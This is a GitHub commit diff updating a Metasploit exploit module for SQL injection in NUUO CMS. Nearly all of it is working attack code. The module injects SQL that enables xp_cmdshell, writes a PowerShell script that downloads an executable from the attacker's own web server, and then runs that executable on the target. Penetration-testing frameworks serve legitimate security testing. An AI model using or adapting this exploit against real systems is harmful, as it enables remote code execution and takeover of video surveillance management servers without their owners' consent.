Skip to content

Commit 382d760

Browse files
author
Pedro Ribeiro
authored
Merge pull request #6 from jrobles-r7/nuuo_cms_sqli
Nuuo cms sqli update
2 parents 2e28ffe + 696640a commit 382d760

File tree

1 file changed

+36
-45
lines changed

1 file changed

+36
-45
lines changed

modules/exploits/windows/nuuo/nuuo_cms_sqli.rb

Lines changed: 36 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

99
include Msf::Exploit::EXE
10+
include Msf::Exploit::FileDropper
1011
include Msf::Exploit::Remote::Nuuo
1112
include Msf::Exploit::Remote::HttpServer
1213

@@ -44,11 +45,11 @@ def initialize(info={})
4445
'Privileged' => false, # we run as NETWORK_SERVICE
4546
'DisclosureDate' => 'Oct 11 2018',
4647
'DefaultTarget' => 0))
47-
register_options(
48-
[
49-
Opt::RPORT(5180),
50-
OptInt.new('SLEEP', [true, 'How long to wait for the payload download', '15']),
51-
])
48+
register_options [
49+
Opt::RPORT(5180),
50+
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),
51+
OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])
52+
]
5253
end
5354

5455

@@ -68,8 +69,13 @@ def on_request_uri(cli, request)
6869
return
6970
end
7071
print_good('Sending the payload to CMS...')
71-
@exe_sent = true
7272
send_response(cli, @pl)
73+
74+
Rex.sleep(3)
75+
76+
print_status('Executing shell...')
77+
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
78+
register_file_for_cleanup("c:/windows/temp/#{@filename}")
7379
end
7480

7581
def create_hex_cmd(cmd)
@@ -81,6 +87,26 @@ def create_hex_cmd(cmd)
8187
hex_cmd << "; exec (@#{var})"
8288
end
8389

90+
def primer
91+
# we need to roll our own here instead of using the MSSQL mixins
92+
# (tried that and it doesn't work)
93+
service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"
94+
print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
95+
@filename = "#{rand_text_alpha_lower(8..10)}.exe"
96+
ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"
97+
download_pl = %{xp_cmdshell }
98+
download_pl << %{'cd C:\\windows\\temp\\ && }
99+
download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }
100+
download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }
101+
download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }
102+
download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }
103+
download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}
104+
105+
print_status('Injecting PowerShell payload')
106+
inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
107+
register_file_for_cleanup("c:/windows/temp/#{ps1}")
108+
end
109+
84110
def exploit
85111
nucs_login
86112

@@ -89,52 +115,17 @@ def exploit
89115
end
90116

91117
@pl = generate_payload_exe
92-
@exe_sent = false
93-
resource_uri = "/#{rand_text_alpha(8..16)}"
94118

95119
#do not use SSL
96120
if datastore['SSL']
97121
ssl_restore = true
98122
datastore['SSL'] = false
99123
end
100124

101-
service_url = "http://#{srvhost_addr}:#{srvport}#{resource_uri}"
102-
print_status("Starting up our web service on #{service_url} ...")
103-
start_service({'Uri' => {
104-
'Proc' => Proc.new { |cli, req|
105-
on_request_uri(cli, req)
106-
},
107-
'Path' => resource_uri
108-
}})
109-
110-
datastore['SSL'] = true if ssl_restore
111-
112-
# we need to roll our own here instead of using the MSSQL mixins
113-
# (tried that and it doesn't work)
114-
print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
115-
filename = "#{rand_text_alpha_lower(8..10)}.exe"
116-
download_pl = %{xp_cmdshell }
117-
download_pl << %{'cd C:\\windows\\temp\\ && }
118-
download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && }
119-
download_pl << %{echo $url = "#{service_url}" >> wget.ps1 && }
120-
download_pl << %{echo $file = "#{filename}" >> wget.ps1 && }
121-
download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && }
122-
download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
123-
124-
print_status('Injecting PowerShell payload')
125-
inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
126-
127-
counter = 0
128-
while (not @exe_sent || counter >= datastore['SLEEP'])
129-
Rex.sleep(1)
130-
counter += 1
125+
begin
126+
Timeout.timeout(datastore['HTTPDELAY']) {super}
127+
rescue Timeout::Error
128+
datastore['SSL'] = true if ssl_restore
131129
end
132-
133-
unless @exe_sent
134-
fail_with(Failure::Unknown, 'Could not get CMS to download the payload')
135-
end
136-
137-
print_status('Executing shell...')
138-
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true)
139130
end
140131
end

0 commit comments

Comments
 (0)